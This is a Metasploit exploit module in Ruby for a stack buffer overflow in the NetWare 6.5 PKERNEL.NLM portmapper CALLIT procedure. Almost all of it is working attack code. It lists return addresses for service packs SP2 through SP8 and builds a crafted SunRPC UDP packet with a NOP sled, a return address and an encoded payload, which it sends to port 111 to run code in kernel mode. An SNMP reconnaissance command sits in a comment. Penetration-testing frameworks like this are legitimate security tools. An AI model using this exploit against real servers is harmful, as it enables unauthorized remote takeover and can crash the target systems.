##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in the NetWare PKERNEL.NLM driver's CALLIT procedure.
        PKERNEL.NLM is installed by default on all NetWare servers to support NFS.
        The PKERNEL.NLM module runs in kernel mode so a failed exploit attempt can
        cause the operating system to reboot.
      },
      'Author'         => [ 'pahtzo', ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          # There is no CVE for this vulnerability
          [ 'BID', '36564' ],
          [ 'OSVDB', '58447' ],
          [ 'ZDI', '09-067' ],
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 2020,
        },
      'Platform'       => 'netware',
      'Targets'        =>
        [
          # NetWare SP and PKERNEL.NLM version can be found in SNMP:
          # snmpwalk -Os -c public -v 1 [target hostname] | egrep -i "sysdescr|pkernel.nlm"
          # sysDescr.0 = STRING: Novell NetWare 5.70.08  October 3, 2008
          # hrSWRunName.1191394992 = STRING: "PKERNEL.NLM  v15.01  (20081014)"
          [ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)
          [ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)
          [ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)
          [ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)
          [ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)
          [ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)
          [ 'NetWare 6.5 SP8', { 'Ret' => 0x823C870C } ], # push esp - ret (libc.nlm)
        ],

      'DisclosureDate' => '2009-09-30'))

    register_options([Opt::RPORT(111)])
  end

  def exploit
    connect_udp

    buf =  [rand(0xffffffff)].pack('N') # XID
    buf << [0].pack('N')                # Message Type: Call (0)
    buf << [2].pack('N')                # RPC Version: 2
    buf << [100000].pack('N')           # Program: Portmap (100000)
    buf << [2].pack('N')                # Program Version: 2
    buf << [5].pack('N')                # Procedure: CALLIT (5)
    buf << [0].pack('N')                # Credentials AUTH_NULL (0)
    buf << [0].pack('N')                # Length: 0
    buf << [0].pack('N')                # Verifier AUTH_NULL (0)
    buf << [0].pack('N')                # Length: 0
    buf << [0].pack('N')                # Program: Unknown (0)
    buf << [1].pack('N')                # Version: 1
    buf << [1].pack('N')                # Procedure: proc-1 (1)
    buf << [4097].pack('N')             # Arguments: <DATA> length: 4097

    buf << make_nops(2072)              # fill to ret
    buf << [target.ret].pack('V')       # addr. of push esp - ret
    buf << payload.encoded              #

#        print_status("payload space #{payload_space()}...")
#        print_status("payload len #{payload.encoded.length}...")
#        print_status("total buf len #{buf.length}...")

    print_status("Trying target #{target.name}...")

    udp_sock.put(buf)
    handler
    disconnect_udp
  end
end
